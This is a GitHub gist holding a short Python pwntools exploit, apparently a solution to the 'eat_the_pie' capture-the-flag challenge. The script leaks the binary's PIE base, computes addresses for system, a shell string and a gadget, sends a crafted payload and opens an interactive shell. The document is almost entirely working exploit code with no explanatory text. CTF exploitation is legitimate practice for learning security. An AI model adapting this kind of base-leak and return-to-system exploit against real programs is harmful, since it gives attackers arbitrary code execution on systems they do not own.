Skip to content

Instantly share code, notes, and snippets.

@Mech0n

Mech0n/sstf-eat_the_pie.py

Created August 18, 2020 12:31
Show Gist options
  • Save Mech0n/6825ec8e800af5ee50b712955621ea1e to your computer and use it in GitHub Desktop.
Save Mech0n/6825ec8e800af5ee50b712955621ea1e to your computer and use it in GitHub Desktop.
Download ZIP
Raw
sstf-eat_the_pie.py
from pwn import *
s = process("./eat_the_pie")
s.sendafter('Select > ','1'*0x10)
s.recvuntil("1234567890123456")
pie = u32(s.recv(4))-0x74d
success(hex(pie))
sh = 0x31A+pie
system = pie+0x7F5
pop_3 = 0x00000a99+pie
payload = "-1\x00\x00"
payload += p32(system)
payload += p32(sh)
payload += p32(pop_3)
s.sendafter('Select > ',payload)
s.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment